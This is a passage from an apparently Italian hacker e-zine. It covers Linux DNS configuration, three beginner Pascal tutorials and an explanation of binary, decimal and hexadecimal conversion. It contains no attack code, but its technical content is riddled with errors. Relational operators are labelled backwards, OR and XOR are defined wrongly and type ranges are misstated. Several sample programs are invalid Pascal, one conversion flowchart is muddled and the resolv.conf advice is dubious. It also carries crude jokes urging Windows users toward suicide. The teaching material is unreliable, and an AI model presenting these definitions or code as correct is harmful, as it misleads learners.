dominio mettiamo il nome del primo server dns , idirizzo IP del DNS li dovete scrivere in cifre , quindi andate su winzozzo connettevi andate in chat e scrivere /dns primo server DNS e /dns secondo server DNS scrivetevi gli ip in cifre su un foglietto di carta e tornate su linux offendendo bill gates il settaggio viene meglio ahahahhahahahaah adesso inseriamo gli IP dei server DNS e abbiamo finito con questo punto. D_GATEWAY: settiamo gateway predefinito se avete un gateway meglio per voi mettetelo e selezioniamo pure assegna il "default route" a questo gateway. Adesso abbiamo finito possiamo ahhaahah ma credevate veramente di aver finito? ma non scherziamo vi devo rompere ancora le palle un pò spero non abbiate stracciato il bigliettino con i server dns con gli ip perchè adesso dobbiamo configurare un pò di file come hai vecchi tempi del mitico amstrad :))))))))). Dunque apriamo con un notepad o altro programma di scrittura per linux questi seguenti file : /etc/host.conf /etc/hosts /etc/resolv.conf /etc/host.conf : order hosts,bind multi on lo dovete trovare scritto così se non lo è scrivelo come indicato sopra e salvate /etc/hosts : #necessario per il loopback 127.0.0.1 localhost.localdomain localhost ip del 1° server 1° server DNS scritto in lettere scrivete quello che vi pare per dargli un nome ip del 2° server 2° server dns scritto in lettere scrivete quello che vi pare per dargli un nome 125.245.256.5 windows.in.the.cess.org billfuck ne potete mettere quanti ne volete di server DNS, ricordate sempre che da un server ad un altro di lasciare una riga, se il serve ha più indirizzi ip come vi capiterà per il vostro server ricordate sempre che fa parte di un solo server, é una possibiltà in più che vi da il server se trovate il primo IP di server pieno avrete il secondo che sarà sicuramnete libero, se doveste trovare anche quello pieno il massimo della sfiga, passerete al secondo server che avete scritto. potevi scrivere delle informazioni per ricordavi a cosa scrive quel file potete scrivere tutto quello che volete basta mettere #quello che vi pare il file capirà che quello sono informazioni vostre. /etc/resolv.conf : questo file deve essere vuoto quindi se c' è qualcosa cancellatelo. ho finito veramente, cazzo non so più cosa scrivere, intanto tornerò con qualcosa di ancora più lungo hahahahahahahahahaha. Ecco potrei spiegare come configurare tutto XCONFIGURATION , bello molto lungo e voi sarete costretti 3 a leggere a vi lascio ADIOS. A/\/ARCHY RULEZzZz!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! by LoRD'xYz ---Lord 'xYz--- ################# #+-------------+# #| pR0gRamMinG |# #+-------------+# ################# Nota di 0ldir0n61: Visto che sono prevenuti 2 articoli circa la programmazione in PASCAL, per non fare un torto a nessuno, li pubblichiamo entrambi...mEliUs AbUndArE qUam DeFicErE! (azz quanto sono colto! ;-))) -=!!!|-PaScAl TuToRiAl ][ PaRtE PrImA-|!!!=- Autori: bugbyte & |ns4n3 [dArkSide Crew] Indice 0 - Introduzione:"Il Fantastico Mondo Del Pascal" 1 - Basi Del Pascal 2.1 - Le Variabili E Le Costanti 2.2 - If Then Else 2.3 - I Cicli 2.4 - Le Funzioni 3 - Conclusioni 0 - Introduzione: "Il Fantastico Mondo Del Pascal" sei pronto ad entrare nel fantastico mondo del pascal? <|ns4n3> ke kazzo ti sei fumato? ke c'entra ora questa stronzata? ok siamo pronti per cominciare! <|ns4n3> pronti a cosa? pronti a entrare nel fantastico mondo del pascal (colonna sonora di "2001 Odissea Nello Spazio" per dare suspence) Alloraz per prima cosa prendete un qualsiasi compilatore di pascal. Consiglio di utilizzare gpc (gnu pascal), che è per linuz, se usate ankora winzozz consiglio invece di cospargersi di benzina e fumare una sigaretta. |ns4ne invece consiglia di chiudersi dentro una gabbia piena di pitbull affamati dopo essersi cosparsi da capo a piedi di Chapi. Se il suicidio non rientra nei vostri progetti + immediati allora consigliamo turbo pascal. Potrete trovare gpc a questo url: http://agnes.dida.physik.uni-essen.de/~gnu-pascal/ 2 - Basi Del Pascal Qui sotto trovate un semplice programma per pascal che sarà spiegato piu sotto [-- InIzIo PrOgZ --] program semplice_programma_scritto_in_pascal; (* il nome del progz .. *) begin (* inizio progz ... *) writeln('Ciao Mondo!'); (* scrive sullo schermo "ciao mondo!" *) readln end. (* fine del progz *) [-- FiNe PrOgZ --] Ok, ok, cominciamo la spiegazione del programma + semplice che ci è venuto in mente. Prima di tutto è necessario sapere che in tutti i casi, tranne poche eccezioni, alla fine di ogni comando va il punto e virgola. Quel "program nomedelprogramma" da il nome al tuo programma e anche se utilizzarlo è facoltativo, è consuetudine scriverlo all'inizio del progz. Per iniziare il programma si usa il comando "begin" che è una delle poche eccezioni in cui NON va assolutamente il punto e virgola. Il comando "write" serve per scrivere sullo schermo, mentre l'aggiunta di "ln" serve per andare a capo. Il comando read serve per leggere un valore e salvarlo in una variabile, in questo caso è stato inserito per fare in modo che il programma aspetti un input dall'utente e non esca immediatamente. Prima dell'end non va mai il punto e virgola. "End" serve per terminare il programma e deve avere sempre alla fine il punto. Tutto quello che è racchiuso tra (* *) è un commento. Un commento si puo inserire facoltativamente in quanto non è indispensabile per il funzionamento del programma, ma se si vogliono rendere disponibili i sorgenti del suddetto potrebbe essere utile inserirlo. 2.1 Le Variabili E Le Costanti Una variabile, come dice il nome stesso, è un dato che puo assumere valori diversi durante lo svolgimento del programma. Una costante invece è un dato che può assumere un solo valore all'interno del programma. Nel pascal si dichiara una variabile tramite il comando "var". Esistono vari tipi di variabile, che riportiamo nella tabella sottostante _______________________________________________________________________________ | Integer | Tipo di variabile che comprende numeri interi tra -32768 e +32767 |_________|_____________________________________________________________________ | Real | Tipo di variabile che accetta i numeri decimali |_________|_____________________________________________________________________ | Byte | Tipo di variabile che accetta i numeri interi compresi tra 1 e 255 |_________|_____________________________________________________________________ | Longint | Tipo di variabile che accetta numeri interi compresi tra | | -2147473648 e +2147473648 |_________|_____________________________________________________________________ | String | Tipo di variabile che accetta da 1 a 255 caratteri alfanumerici |_________|_____________________________________________________________________ | Char | Tipo di variabile che accetta UN qualsiasi carattere ascii |_________|_____________________________________________________________________ | Boolean | Tipo di variabile che accetta due valori: vero e falso |_________|_____________________________________________________________________ Per dichiarare una costante invece si usa il comando "const". Ed ora ecco un altro progz per farvi vedere come utilizzare i vostri nuovi amici. [-- InIzIo PrOgZ --] program utilizzo_delle_variabili; var topolino,paperino,pippo:integer; (* In questo momento abbiamo dichiarato tre variabili di tipo integer *) const eta_beta = 3; (* Qui invece abbiamo dichiarato una costante *) begin topolino:=3; (* Stiamo assegnando il valore alla variabile topolino *) paperino:=3; pippo:= topolino + paperino + eta_beta; (* La variabile pippo è il risultato della somma delle precedenti variabili *) writeln('Il risultato è',eta beta'); (* write in questo caso scriverà il valore della variabile eta beta *) readln; end. [-- FiNe PrOgZ --] Come avrete certamente notato la sintassi da seguire per il comando "var" è la seguente: var nome_variabile1,nome_variabile2:tipo_di_variabile Per il comando "const" la sintassi è invece: const nome_costante = valore_della_costante Per assegnare un valore ad una variabile si usa invece la seguente sintassi: nome_della_variabile := valore della variabile 2.2 If Then Else La selezione, cioè la scelta operata da determinate condizioni che avviene durante l'esecuzione del programma, è solitamente rappresentata dall'espressione if then else. If then else opera la selezione, verificando se una determinata espressione è vera o falsa e eseguendo un determinato pezzo di programma se è vera e un altro se è falsa. Se però non è presente il comando "else", se l'espressione è falsa il programma va avanti senza tenere conto dei comando che sarebbero stati eseguiti nel caso la condizione fosse stata vera. Infatti il comando else serve per dire al programma che se l'espressione è falsa deve eseguire un determinato blocco di istruzioni. Un esempio: [-- InIzIo PrOgZ --] program selezione; var paperone,paperettayeye,krusty:integer; var paperino:string[30]; begin clrscr; writeln('calculator20000'); writeln('Inserisci 2 numeri'); readln(paperone,paperettayeye); krusty:=paperone + paperettayeye; if paperone or paperettayeye < 0 then begin writeln('ti ho gia detto che non voglio numeri negativi DROGATO'); writeln('Scrivi che droga usi DROGATO'); readln(paperino); writeln('Tu usi ',paperino); end else writeln('visto che non hai messo numeri negativi ti dico il risultato di ',paperone,'piu ',paperettayeye,'che è ',krusty); readln end. [-- FiNe PrOgZ --] Il programma che potete ammirare qua sopra, è sì alquanto stupido, ma è anche il primo che ci è venuto in mente per farvi capire come opera la selezione. Il comando "readln" serve x far leggere al programma l'input che viene dato e lo assegna alla variabile. Come avrete notato il comando "if", che deve necessariamente essere seguito da "then", è usato nella seguente sintassi: If condizione then comando; Avrete inoltre notato che sia in questo esempio, sia nel progz, manca il punto e virgola al comando, infatti è una delle eccezioni di cui parlavamo nel primo paragrafo. Al "comando" seguito da if.. then il punto e virgola va invece solo in un caso: quando c'è solo un'istruzione e non c'è il comando else. Prima del comando else non c'è mai il punto e virgola. Per utilizzare piu istruzioni la sintassi è la seguente: If condizione then begin istruzione1 istruzione2 end; 2.3 I cicli Arrivati a questo punto dovremmo darvi la definizione dei cicli,ma dopo un lunghissimo cogito(da NON confondere con coito :) ) siamo arrivati alla conclusione che ognuno dovrebbe farsi una propria idea riguardo ai cicli. | \|/ questa stronzata l'ha scritta |ns4n3, mandate pure tutti gli insulti alla sua e-mail: peltro@yahoo.com A parte gli scherzi,i cicli sono una serie di istruzioni che vengono ripetute piu volte a secondo di determinati fattori che possono essere un numero ben definito di volte o il verificarsi di una determinata condizione. I cicli che possono essere utilizzati nel pascal sono 3: for, while e repeat. Il ciclo for serve per ripetere determinate volte (definite dal programmatore) un determinato pezzo di programma. Il ciclo while ripete finchè una determinata condizione è vera. Il ciclo repeat prima esegue il pezzo di programma, poi verifica se una determinata condizione è vera e se lo continua a ripetere, altrimenti non continua. La sintassi da usare è la seguente: for variabile := variabile to variabile do begin comandi; end; while condizione do begin comandi; end; repeat comandi; until condizione; Ed ecco un progz di esempio [-- InIzIo PrOgZ --] program cicli; var i,topolino,paperino,pippo,nonna_papera,pluto,ciccio,rockerduck,banda_bassotti: integer; begin writeln('Inserisci tre numeri'); readln(paperino,pippo,topolino); pluto:=1; nonna_papera:=10; for i:=pluto to nonna_papera do begin ciccio:=paperino + paperino end; writeln(paperino,' moltiplicato per 10 da come risultato ', ciccio); while nonna_papera <> 0 do begin rockerduck:=pippo + pippo; nonna_papera:=nonna_papera - pluto end; writeln(pippo,' moltiplicato per 10 da come risultato ', rockerduck); repeat banda_bassotti:=topolino + topolino; nonna_papera:=nonna_papera - pluto; until nonna_papera <> 0; writeln(topolino,' moltiplicato per 10 da come risultato ', banda_bassotti); readln end. [-- FiNe PrOgZ --] 2.5 Le Funzioni E Le Procedure Ed eccoci arrivati alle funzioni e alle procedure. Una procedura non è altro che un sottoprogramma all'interno di un programma scritto in pascal. Una funzione è una procedura che restituisce un valore. Le procedure e le funzioni vanno prima dell'inizio del programma e di begin. Le procedure si utilizzano in questa maniera e nella seguente sintassi procedure nome_della_procedura(var nome_della_variabile:tipo_di_variabile); begin comandi end; Le funzioni invece si utilizzano cosi: function nome_della_funzione(var nome_della_variabile:tipo_di_variabile):tipo_del_risultato_della funzione begin comandi end; 3 Conclusioni Ke kazzo c'è da concludere vi kiederete voi??? Ce lo stiamo kiedendo anke noi... E giacchè ci siamo rotti i coglioni di scrivere l'articolo finisce qui! (ke bel modo di finire un articolo, non trovate??) ---bugbyte & |ns4n3--- [dArkSide Crew] -=!!!|-pAsCal tUt0riAl-|!!!=- Autore: ValK King Of The Net @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ ppppp aaaa ssssss ccccccc aaaa l @ @ p p a a ss cc a a l @ @ ppppp aaaa ssssss cc aaaa l @ @ p a a ss cc a a l @ @ p a a ss cc a a l @ @ p a a ssssss ccccccc a a llllll @ @ @ @ Writer: ValK King Of The Net @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ovvero come cavarsela coi compiti di informatica Ok, cominciamo: PER UNA BUONA VISIONE DEGLI SCHEMI E DEI DISEGNI SI CNSIGLIA DI UTILIZZATE IL NOTEPAD A TUTTO SCHERMO CON UNA RISOLUZIONE MINIMA DI 800X600 Il Pascal e' il linguaggio che la scuola Superiore italiana ha adottato x l'insegnamento, mentre in America, insegnano il C, in Italia si insgena il pascal ed ora vi spiego xche', il C e' un linguaggio libero che non segue una ferrea regola di programmazione ma che lascia molta fanatasia, mentre il Pascal e' strutturato seguendo una sintassi e una semantica rigida e ben definita. In questa guida non intendo dirvi tutto sul Pascal anche xche' io x scuola ho 6 vol, sarebbe del tutto impossibile, anche xche' io stesso non so tutto! N.B. Questa non vuole essere una guida di programmazione ma una dispenza una introduzione Cominciamo con la programmazione PRIMI CENNI: 1. DOPO OGNI ISTRUZIONE VA' IL PUNTO E VIRGOLA ( ; ) 2. E' BENE CHE OGNI VARIABILE SI IN MAIUSCOLO ( PER NON IMPAZZIRE) 3. NON METTETE NON DEL CAVOLO (NON E' PROFESSIONALE) 4. TOGLIETEVI DALLA TESTA CHE IL PASCAL SIA UN LINGUAGGIO X GLI SCOLARI /| | ---------------------------------------- | | |------> come si struttura un programma Pascal <------| _|_ | ---------------------------------------- | |++++++++++++++++++++++++++++++++++++++++++| | PROGRAMMA PASCAL | | | | | | |++++++++++++++++++++++++++++++++++++| | | | INTESTAZIONE | | | |++++++++++++++++++++++++++++++++++++| | | | | | | |++++++++++++++++++++++++++++++++++++| | | | BLOCCO | | | | |++++++++++++++++++++++++++++| | | | | | DICHIARAZIONI | | | | | |++++++++++++++++++++++++++++| | | | | | | | | |++++++++++++++++++++++++++++| | | | | | ISTRUZIONI | | | <--- PRIMA DELLE | | |++++++++++++++++++++++++++++| | | ISTRUZIONI SI USA | | | | IL "BEGIN" | |++++++++++++++++++++++++++++++++++++| | | | | FINE DEL PROGRAMMA | <--- PER TERMINALE IL |++++++++++++++++++++++++++++++++++++++++++| PROG. SI METTE "END" -INTESTAZIONE:- Nell'intestazione si va' a inserire l'intestazine del programma ovvero il suo nome. es. Program ValK; -BLOCCO:- Qui si inserisce tutto cio' che e' parte del programma. -DICHIARAZIONI:- Qui si ha la dichiarazione delle variabili, la chiamata alle dll etc. -ISTRUZIONI:- Ecco il vero corpo del programma qui si inseriscono le istruzioni di programmazione ECCO UN PROGRAMMA IN PASCAL CON COMMENTO Program ValK; <--- INSTESTAZIONE Uses crt; var VAR, VAR1, VAR2: INTEGER; <--- DICHIARAZIONE Begin <--- ISTRUZIONI Notare che dopo il begin non che' il ; istruzione 1 istruzione 2 istruzione 3 end. <--- NOTARE IL "." DOPO END ŻŻŻŻ| | ------------------------------------------ | |ŻŻŻ |------> FUNZIONI, ROUTINE <------| |____ | ------------------------------------------ | PER ORA NON NE PARLO IN QUANTO L'ARGOMENTO E' VASTO SPERO DI POTERLO FARE MOLTO PRESTO /ŻŻŻŻ| | ----------------------------------------- | ----| |------> LA PROGRAMMAZIONE <------| \____| | ----------------------------------------- | N.B. RICORDATE CHE DOPO OGNI ISTRUZIONE VA' IL PUNTO E VIRGOLA (;) GLI OPERATORI --------> DI CALCOLO Gli operatori di calcolo sono quei caratteri che interpretati dall'esecutore eseguono delle operazioni: per il Pascal questi sono: + Addizione - Sottrazione * Moltiplicazione / Divisione DIV Esegue la divisione e ritorna il valore intero del risultato. USO= Variabile := Num1 DIV Num2 MOD Esegue la divisione e ritorna il resto USO= Variabile := Num1 MOD Num2 --------> DI RELAZIONE <= maggiore uguale >= minore uguale < maggiore > minore = uguale <> diverso Il loro uso e' molto semplice dopo la dichiarazione della variabile si fa in essa una relazione ad es. while x< 10 do ... --------> LOGICI NOT Negazione Logica AND Congiunzione Logica OR Esclusione Logica XOR Comparazione Logica Questo tipo di operatori si riferiscono al tipo di dato booleano. -I COMANDI:- ------------> START <------------ PROGRAM Si usa nell'instestazione serve a dichiarare il nome del programma a cui poi verra' assegnato un numero e copiato in un indirizzo di memoria USES Si usa x "chiamare" una dll ( dinamic link library ) [es. la crt] dopo la chiamata tutte le funzioni disponibili in quella libreria saranno disponibili x l'uso [es. nella dll crt c'e' la funzione "clrscr" che pulisce tutto quello che c'era prima sul monitor] VAR Serve x dichiarare le variabili, dichiarata la variabile verra' occupata un'area di memoria a cui poi si fara' riferimento x scrivere e leggere i valori da inserire nella variabile -I TIPI- REAL: Tipo di dati che abbraccia tutti i numeri Reali cioe' da -[infinito] a +[infinito], abbraccia quindi tutti i numeri esistenti INTEGER: Tipo dei dati che abbraccia tutti i numeri interi quindi non si accettano in queste varibili i numeri frazionari, con la virgola o irrazionali. CHAR: Tipo di dati CARATTERE , cioe' che accetta tutti i caratteri ascii (quelli della mappa dei caratteri) ma solo uno x variable char STRING: Tipo di dati che contiene una frase o una espressione accetta tutti i caratteri ascii(quelli della mappa dei caratteri) uno in successione all'altro BOOLEAN: Tipo di dati che puo' assumere il valore TRUE o FALSE a seconda della frase logica espressa al suo interno NOT: Negazione logica AND: Congiunzione logica OR: Disgiunzione logica Es. var FLAG:boolean; BEGIN A:= 10; B:= 12; C:= 1; FLAG:= A OR B <> C -->[ FLAG ASSUME IL VALORE DI TRUE XCHE' A o B diversi da C e' una frase logica Vera] BEGIN Sta ad indicare l'inizio del corpo di programmazione non ha bisogno di ";" al suo seguito END. Sta ad indicare la fine del programma deve sempre essere seguito dal "." ------------> LETTURA E SCRITTURA <------------ READ(X) Legge il valore inserito a video [quello seguito dal Carattere RETURN o INVIO] lo inserisce nella variabile X READLN(X) Scrive una linea bianca legge il valore inserito a video [quello seguito dal carattere RETURN o INVIO] e lo inserisce nella variabile X WRITE('string') Scrive quello inserito tra le virgolette [in questo caso stringa"] e lo stampa a video inoltre se non si usano le virgolette l'esecutore cerca la varibile X e ne stampa a video il contenuto. Se si vuole si puo' anche dividere da virgola due stringhe due variabili oppure una stringa e una variabile, etc. formando tutte le combinazioni possibili. se si vuole utilizzare nella stringa il carattere ' si deve ripeterlo 2 volte altrimenti l'esecutore va' in errore. WRITELN('stringa') Scrive una linea bianca poi --> --> Scrive quello inserito tra le virgolette [in questo caso "stringa"] e lo stampa a video inoltre se non si usano le virgolette l'esecutore cerca la varibile X e ne stampa a video il contenuto. Se si vuole si puo' anche dividere da virgola due stringhe due variabili oppure una stringa e una variabile, etc. formando tutte le combinazioni possibili. se si vuole utilizzare nella stringa il caratter ' si deve ripeterlo 2 volte altrimenti l'esecutore va' in errore. ------------> I CICLI <------------ WHILE --- DO Si usa x ripetere una istrizuine fino a che il contatore raggiunge l'esponente dopo la fase di "programmazione" del ciclo si mette il "begin" e alla sua fine "end" E = espressione di RELAZIONE: "<=" (maggiore uguale), ">=" (minore uguale), "<" (maggiore), ">" (minore), "=" (uguale), "<>" (diverso NON USARLO MAI)] I = Variabile contatore integer X = Esponente numerico NOTARE CHE LE PARTI CHE COSTITUISCONO IL CICLO SONO MESSE TRA PARENTESI QUADRE [WHILE] I E X [DO] [ puo' essere inteso cosi' "whileI(Variabile contatore) =(espressione) 10(Esponente numerico do" ] begin istruzione1 istruzione2 I := I+1 <---- incremento il contatore "RICORDARSI DI FARLO SEMPRE" end <---- Fine del ciclo FOR --- TO --- DO Si usa x fare una operazione a partire da un numero fino ad un altro dopo la fase di "programmazione" del ciclo si mette il "begin" e alla sua fine "end;" VAR = Variabile contatore integer NumInizio= numero a partire dal quale il ciclo conta NumFine = quando la variabile VAR raggiunge NumFine il ciclo termina NOTARE CHE LE PARTI CHE COSTITUISCONO IL CICLO SONO MESSE TRA PARENTESI QUADRE [FOR] [VAR]:= NumInizio [TO] NumFine [DO] BEGIN ISTRUZIONI VAR := VAR +1 <---- incremento il contatore "RICORDARSI DI FARLO SEMPRE" END; ------------> IL BLOCCO "IF", "THEN", "ELSE" <------------ IF Pone la condizione il suo uso e' semplice ma legato al camando "then" ecco alcuni esempi: IF VAR= true ... IF VAR= 10 ... IF VAR= 'A' ... NOTARE CHE DOPO "IF" C'E' L'OPERATORE DI RELAZIONE = UN QUALSIASI ALTRO OPERATORE NON FA' ALCUNA DIFFERANZA THEN Dopo di lui si eseguono le istruzioni che seguono "begin" e che finiscono con "end" es. IF VAR = true THEN <----- SE "VAR" E' VERA (BOOLEANO) ALLORA Begin ISTRUZIONI; End ELSE Nel caso non si verifichi la condizione di "IF" viene eseguito "ELSE" la sintassi e' uguale a quella del comando "IF ----- THEN" infatti l'esecutore esegue le istruzioni che seguono "begin" e che finiscono con "end" F VAR = true THEN <----- SE "VAR" E' VERA (BOOLEANO) ALLORA Begin ISTRUZIONI; End ELSE <----- ALTRIMENTI Begin ISTRUZIONI; End; N.B. IL PUNTO E VIRGOLA E' MESSO SOLO SULL'ULTIMO "END" MENTRE SU "IF ---- THEN" E SU "ELSE" NON C'E' SE CI FOSSE STATO SOLO IL PRIMO BLOCCO ("IF ---- THEN") ALLORA IL PUNTO E VIRGOLA AVREBBE SEGUITO IL PRIMO "END" Questi sono i comandi principali quelli usati piu' di frequente per i comandi delle dll guardare la documentazione della libreria relativa. L'ASSEGNAZIONE: L'operazione di assegnazione, ASSEGNA ad una variabile un valore, per fare questo si ha la seguente sintassi: Variabile := valore o espressione "Variabile" e' la variabile in cui si desidera scrivere, la variabile va' dichiarata come su detto ":=" e' la vera e propria operazione di assegnazione "valore o espressione" e' il valore che si vuole scrivere [es. X := 10] oppure l'espressione NUMERICA che dara' come risultato un numero [es. X:= 10 + 1 -5] Notare anche che e' possibile usare il valore di un'altra variabile nell'espressione basta che al posto del numero si inserisca il nome della variabile [es. X := Y + 10 - H ( Y e H sono variabili)] N.B. nel caso la nosta Variabile X sia utilizzata come contatore sara' possibile riassegnare il valore gia' in lei memorizzato e addizionarci l'esponente che desideriamo. [es. X:= X + 1 in questo caso l'esponente e' uno ma poteva essere quanto vogliamo] /| | ----------------------------------------- | / | |------> VEDIAMO I PROGRAMMI <------| ŻŻ|Ż | ----------------------------------------- | Non staro' ora a commentare tutti i passaggi, mostrero' solo le parti principali e spiegate di sopra. PROGRAMMA 1 Program Benvenuto; <------ INTESTAZIONE Var Nome: String; <------ DICHIARAZIONE Begin ŻŻŻ|<---- INIZIO Writeln('Chi sei?'); | Readln(Nome); |----- ISTRUZIONI Writeln; | Writeln('CIAO ',Nome); | End. ___|<---- FINE PROGRAMMA 2 Program Asseganz; <------ INTESTAZIONE Var X,Y,Z: Real; <------ DICHIARAZIONE Begin ŻŻŻ|<---- INIZIO X:= 10; | Y:= 12; |----- ISTRUZIONI Z:= 13; | X:=Y:=Z; | Prima Y assume il valore di Z poi X | assume il valore di Y End. ___|<---- FINE PROGRAMMA 3 Program Operazio; <------ INTESTAZIONE Var X,Y,Z: Real; <------ DICHIARAZIONE Begin ŻŻŻ|<---- INIZIO X:= 10; | Y:= 12; |----- ISTRUZINI Z:= 13; | X:=Y + Z * Y / Z -Y; | Si esegue l'espressione seguendo le | regole aritmetiche End. ___|<---- FINE PROGRAMMA 4 Program Stringa; <------ INTESTAZIONE Var X,Y,Z: String; <------ DICHIARAZIONE Begin ŻŻŻ|<---- INIZIO X:= 'Mannaggia' | Y:= 'Alla'; |----- ISTRUZINI Z:= 'Pepotta'; | X:=X + Y + Z; | X assume il Valore di 'Mannaggia Alla | Pepotta' End. ___|<---- FINE |ŻŻŻŻ | ----------------------------------------- | ŻŻŻŻ| |------> LA CONCLUSIONE <------| _____| | ----------------------------------------- | In conclusione ecco alcuni consigli x una buona programmazione 1. Prima della programmazione fate un buon schema di quello che il programma deve fare 2. Scrivete sempre a scaletta Program |_ Uses CRT; |_ VAR X,Y,Z: Real; Begin |_Istruzini; |_If --- Then; |_ Begin |_istruzioni; |_ End |_ ELSE |_Begin |_istruzioni; |_ End; End. 3. Ricordatevi di scriver le variabili in MAIUSCOLO saranno poi piu' facili da individuare nella fase di Degug Io ho finito, questa e' la prima versione di questo documento ma aggiornamenti e correzioni saranno presto disponibili sul mio sito http:\\members.xoom.it\ValK\ [scrivete V e K grandi altrimenti non vi accederete] oppure potete chiedermele via Mail a: ValK@mail.xoom.it ---ValK The King Of The Net--- ############################################################## ####### CCCC RRRR AAA CCCC K KK III N N GGGG ####### ####### C R R A A C K K III NN N G ####### ####### C RRRR AAAAA C KK III N N N G GG ####### ####### C R R A A C K K III N NN G G ####### ####### CCCC R RR A A CCCC K KK III N N GGGG ####### ############################################################## -=!!!|-sIsTemI dI nUmErAzi0nE-|!!!=- -[binario, decimale, esadecimale]- Autore: QueQuero Salve a tutti sono sempre Quequero, in questo articolo parleremo dei vari sistemi di numerazione che sono molto utilizzati nei linguaggi di programmazione e ci serviranno per comprendere molte cose. Iniziero' col parlare del sistema decimale che tutti conosciamo e che utilizziamo ogni di'. Questo sistema viene detto "decimale" perche' utilizza le potenza di...dieci, per farvi capire cosa intendo ecco un esempio alquanto banale, proviamo a scomporre il numero 1258: 1258 = 1x10^3 + 2x10^2 + 5x10^1 + 8x10^0 Per verificare se abbiamo fatto bene la scomposizione proviamo a moltplicare ogni valore per la sua potenza di 10 e poi lo sommiamo agli altri: 1x10^3 = 1000 + 2x10^2 = 200 + 5x10^1 = 50 + 8x10^0 = 8 = -------------------- 1258 Sembra che il risultato sia esatto, cio' vuol dire che siamo stati bravi ;)) Bene bene, questo e' stato solo un ripasso per introdurre il sistema di numerazione binario, cioe' quello usato dai nostri processori e comunque anche da qualunque componente elettronico, (calcolatrici, orologi digitali, radio, gps, modem, stereo ecc...) spero che vi siate chiesti almeno una volta come fa il computer ad aprire una finestra oppure una calcolatrice ad eseguire un calcolo "2-1", ebbene tutti i processori riescono a capire la differenza tra due stati di tensione cioe': 0 (potenziale basso) e 1 (potenziale alto), ecco l'importanza di questo sistema, ma come possiamo convertire un numero binario in decimale? Dal momento che conosciamo tutti i numeri binari (1 e 0 :) creiamo un numerino e convertiamolo, prendiamo per esempio questo: 11001011 = 1x2^7 + 1x2^6 + 0x2^5 + 0x2^4 + 1x2^3 + 0x2^2 + 1x2^1+ 1x2^0 1x2^7 = 128 + \ 1x2^6 = 64 + \ 0x2^5 = 0 + | 0x2^4 = 0 + ---- numeri binari convertiti in 1x2^3 = 8 + | decimali e sommati tra loro 0x2^2 = 0 + | 1x2^1 = 2 + / 1x2^0 = 1 = / ---------- 203 Il risultato 203 e' esatto? Verifichiamolo.....ma come possiamo farlo se finora abbiamo imparato solo a scomporre un numero in potenze di dieci e a convertire un binario in decimale? Beh, semplice dovete riaprire i libri di matematica, ma non vi preoccupate perche' Quequero lo fara' per voi ;)) Ecco come si fa': ----------------- | Numero decimale | ----------------- || || Dividiamo per 2 <------------| || | ------------------------ | | Il quoziente e' pari? | | ------------------------ | ||| | ||| | SI / \ NO | / \ | ------- ------- | / \ | ------------- ------------- | Scriviamo 0 | | Scriviamo 1 | | ------------- ------------- | \ / | \----------------------/ | ||| | ||| | --------------------- | | Il numero e' finito? | | --------------------- | ||| | ||| | SI / \ NO | / \ | ------- ------- | / \ | ------------------- ---------- | | Prendi tutte le | | Continua |------------| | cifre e ribaltale | ---------- ------------------- Bello il logaritmo vero? Spero di si, proviamo a vedere se 203 corrisponde realmente a 11001011, per farlo usiamo la colonnina che tanto odiavamo alle elementari: 203| 101|1 51|1 25|0 12|1 6|0 3|0 1|1 0|1 dall'alto al basso vediamo questi numeri 11010011 ma, come vi dicevo, dobbiamo ribaltarli cosi' avremo 11001011....esatto i numeri corrispondono!!!! Ovviamente non andrete mai a convertire i numri a manualmente visto che anche la calcolatrice di winzoz lo fa (dovete selezionare visualizza|scientifica) comunque un po' di cultura non guasta mai ;))) Facciamo il resoconto di cio' che abbiamo appreso finora: Scomposizione di un numero decimale e conversione da: Binario--->Decimale--->Binario Affrontiamo ora il tipo di numerazione piu' importante cioe' quello esadecimale, (o base 16) questo tipo di numerazione differisce dalla decimale perche' ci sono 16 numeri invece che i soliti 0 1 2 3 4 5 6 7 8 9 e dalla binaria perche' ogni numero in base 16 equivale a 4 in base 2, siccome avrete le idee confuse ecco una tabella riassuntiva (la metto in verticale altrimenti non entra nel mio monitor da 14'') Decimale Binario Esadecimale 0 0000 0 1 0001 1 2 0010 2 3 0011 3 4 0100 4 5 0101 5 6 0110 6 7 0111 7 8 1000 8 9 1001 9 10 1010 A 11 1011 B 12 1100 C 13 1101 D 14 1110 E 15 1111 F Come facciamo a convertire un numero binario in esadecimale e viceversa? In base 16 le conversioni sono semplicissime dal momento che ogni numero esadecimale equivale a 4 binari quindi supponiamo di avere 8F5DA come fa a diventare binario? Eccovi un altro esempio: 8 = 1000 F = 1111 5 = 0101 D = 1101 A = 1010 Possiamo dire che 8F5DA = 10001111010111011010. Vogliamo fare la solita verifica per vedere se abbiamo fatto tutti i calcoli bene? Credo di si, la domanda sorge ormai spontanea...come si fa? Si divide il numero binario in gruppi di 4 cifre (a partire dalla meno significativa che e' l'ultima, la piu' significativa e' la prima) e se vede man mano a cosa corrisponde: 1010 1101 0101 1111 1000 A D 5 F 8 Facciamo un po' di "reversing" sul numero ottenuto ed otteniamo come sospettato 8F5DA. Questo tipo di conversione "veloce" vale solo per il sistema Base2->Base16->Base2 Per fare i calcoli da Base16 a Base10 e vice versa le operazioni sono le stesse che abbiamo usato durante le conversioni Base2->Base10->Base2, ovviamente i sistemi di numerazione sono infiniti, un sistema caduto ormai nell'oblio e' stato quello in Base8 (ottale) ma possiamo convertire qualunque cosa in quelunque base, pensate che qualche settimana fa ho fatto un CrackMe che calcolava il seriale da inserire in base 78, in numerazioni di questo genere ci sono sicuramente tutte le lettere dell'alfabeto e vengono usati anche simboletti sconosciuti alla razza umana, una cosa bella di questi sistemi e' che un numero come 1000000000000000000000000000000000000000 diventa cortissimo e magari simile a questo: ~1нĤİ ;)))) Prima di concludere anche questo articolo vorrei dirvi che non ho parlato volutamente della rappresentazione dei numeri negativi in base2 visto che utilizzano un particolare metodo detto "complemento a 2" estremamente difficile, se mi verra' chiesto scrivero' un articolo anche su questo ma vi assicuro che verrebbe estremamente lungo, ma lungo lungo lungo ;))) Ora voi vi starete chiedendo "Ma che cazz ce ne frega di conoscere come contano i calcolatori", in realta' l'argomento e' importante dal momento che un compilatore un linguaggio ad alto livello (quale puo' essere il c/c++ o il Pascal ecc...) una volta compilato non fa altro che convertire tutto in Assembly che a sua volta converte tutto in esadecimale e che il processore 